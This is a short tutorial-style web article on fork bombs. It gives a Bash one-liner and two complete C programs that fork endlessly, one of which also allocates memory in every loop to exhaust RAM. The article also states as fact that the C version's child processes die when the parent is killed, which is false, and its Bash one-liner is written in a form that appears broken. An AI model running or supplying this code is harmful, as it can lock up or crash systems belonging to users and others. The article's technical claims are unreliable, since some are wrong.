Open In App

C vs BASH Fork bomb

Pre-requisites :

Bash fork bomb :



:(){:&:&};:

Working in Unix :
In Unix-like operating systems, fork bombs are generally written to use the fork system call. As forked processes are also copies of the first program, once they resume execution from the next address at the frame pointer, they also seek to create a copy of themselves. This has the effect of causing an exponential growth in processes.

C program for fork bomb :




// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
  
int main()
{
    //Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
    }
}

Working in Windows :
Microsoft Windows operating systems do not have an equivalent functionality to the Unix fork system call. A fork bomb on such an operating system must therefore create a new process instead of forking from an existing one.



Which is more powerful between Bash and C fork() bomb

This is clear that the BASH fork bomb is much more powerful than its version of C program. The reason is that in BASH the process we create is detached from the parent. If the parent process (the one we initially started) is killed, the rest of the processes live on. But in the C implementation, the listed child processes die if the parent is killed, so it’s enough to bring down the initial process we started to bring down the whole tree of ever-forking processes. A script communicates with the system directly.

The fork bomb program in C can be modified. We can allocate memory in the program at the time of creating the fork processes.
Below is the implementation of modified C fork bomb:




// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
  
int main()
{
    // Infinite loop
    while (1)
    {
        // Generating child fork processes
        fork();
  
        // Allocating memory in RAM
        int *p = (int *) malloc (sizeof (int) * 100000);
    }
}

Different fork bombs in Windows :


Article Tags :